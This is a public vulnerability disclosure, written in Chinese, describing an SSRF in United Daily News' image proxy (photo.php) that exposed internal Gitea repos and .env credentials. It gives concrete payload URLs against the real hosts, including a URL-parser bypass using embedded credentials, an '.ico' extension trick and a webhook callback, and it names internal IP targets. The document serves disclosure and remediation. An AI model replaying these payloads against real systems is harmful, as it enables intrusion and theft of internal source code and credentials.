Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01565
- Vendor: 聯合報
- Title: 聯合報 圖床功能 SSRF,導致大量 Gitea 原始碼 + .env 外洩
- Introduction: 圖床功能 SSRF
處理狀態
目前狀態
公開
Last Update : 2026/01/15
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/12/24 11:14:47 : 新提交 (由 yusheng 更新此狀態)
- 2025/12/24 11:15:49 : 新提交 (由 yusheng 更新此狀態)
- 2025/12/24 11:16:32 : 新提交 (由 yusheng 更新此狀態)
- 2025/12/24 11:18:33 : 新提交 (由 yusheng 更新此狀態)
- 2025/12/24 11:19:46 : 新提交 (由 yusheng 更新此狀態)
- 2025/12/28 18:21:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:08:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:08:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/06 18:08:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/01/07 09:24:08 : 已修補 (由 組織帳號 更新此狀態)
- 2026/01/15 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01565
- 通報者:cat1528985 (yusheng)
- 風險:嚴重
- 類型:Server-Side Request Forgery (SSRF)
參考資料
暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://udnpgw2026-proxy.udn.com.tw/gw/photo.php?u=
https://rs-pgw.udn.com.tw/gw/photo.php?u=
https://pgw.udn.com.tw/gw/photo.php?u=
https://rs-pgw.udn.com.tw/gw/photo.php?u=
https://pgw.udn.com.tw/gw/photo.php?u=
敘述
recon 過程
- 在聯合報 (udn.com) 的多個 subdomain 都可以觀察到,圖片幾乎都是 https://pgw.udn.com.tw/gw/photo.php?u=http://uc.udn.com.tw/photo/2025/12/24/realtime/34030932.jpg&s=Y&x=0&y=14&sw=1158&sh=772&w=300 這種 URL
- 可以將上述網址簡化成 https://pgw.udn.com.tw/gw/photo.php?u=圖片實際網址
- 從軟體開發的角度來看這個功能,可以推測是 photo.php 內部的程式碼會去請求對應網址的圖片,存到 Cloud Storage,然後前面墊一層 CDN(畢竟新聞網,圖片是佔比很重的資源,所以一定要載入快,使用者體驗才會優)
- 透過其他 subdomain (vip.udn.com) 繼續觀察,發現 u 還有另一種格式 https://pgw.udn.com.tw/gw/photo.php?u=/photo/2025/12/23/realtime/34028118.jpg&s=Y&x=0&y=0&sw=4602&sh=3132&exp=3600&w=1200&nt=1
- 承上,單純 path 的格式,代表背後可能是 cloud-storage-bucket-name/${u} 來取得 Cloud Storage 對應的圖片
- 另外兩個 domain,https://rs-pgw.udn.com.tw 跟 https://udnpgw2026-proxy.udn.com.tw ,最終的 Origin Server 也都是一樣的,可以從路徑是 /gw/photo.php 來推斷
exploit 過程
- 先嘗試最簡單的 SSRF:https://pgw.udn.com.tw/gw/photo.php?u=https://webhook.site/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ,結果 webhook.site 沒收到請求,代表 photo.php 針對 hostname 有做一些過濾
- 嘗試用 "embed Basic Authentication credentials in a URL" 技巧來繞過 Flawed URL Parser:https://pgw.udn.com.tw/gw/photo.php?u=https://[email protected]/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ,結果一次就 Bingo
- 從外網 IP,回頭反查 whois,得知這是 Google 的雲服務
- 在開始探測內網前,要先確保探測內網 http://xxx.xxx.xxx.xxx 的 response.body 可以被存到 GCS (Google Cloud Storage),由於這是圖床服務,觀察到 photo.php "似乎"只會把圖片存進 GCS 並且回傳
- 承上,必須找出 photo.php "判斷資料為圖片" 的標準(Content-Type, File Extentsion, File Magic Bytes, PHP getimagesize...)
- 最初有發現 /file.svg 可以被快取,似乎只有檢查副檔名,但這樣會限制內網探測的可能性
- 後來發現用 ?whateverkey=.ico 或是 %23.ico 都可以 Bypass Flawed URL Parser(%23 是 # 的 URL Encode 版本)
- 根據以上探索,我們可以構造 https://pgw.udn.com.tw/gw/photo.php?u=https://vip.udn.com@localhost/?ext=.ico
- 實際內網探測時,發現 pgw.udn.com.tw 前面有 Cloudflare,rs-pgw.udn.com.tw 前面有 AkamaiGHost,以上兩者都有 WAF 的功能,但 udnpgw2026-proxy.udn.com.tw 防護比較弱,所以接下來都從這個 domain 來進行 SSRF 探測
最終探測結果
- 可探測 10.140.0.* 的各種服務(以下隨意列舉三個)
10.140.0.48 聯合知識庫
10.140.0.91 經濟日報
10.140.0.195 琅琅原創 - 成功存取 Gitea 的大量 repos,且包含 .env 也有上傳到 Gitea,成功取得 MongoDB 的帳密
責任聲明
- 於 Gitea 存取到的 repos,皆已從本機刪除
漏洞嚴重度
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
修補建議
- photo.php 的 Flawed URL Parser 要強化驗證
- 內網也需採取零信任架構,Gitea repos 可考慮改成需要驗證才能存取,且 .env 等機敏資訊不可直接上傳
- 可考慮把 "跑 photo.php 的那台機器" 跟內網網段做隔離,這樣即便有 SSRF,也可以大幅降低風險
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。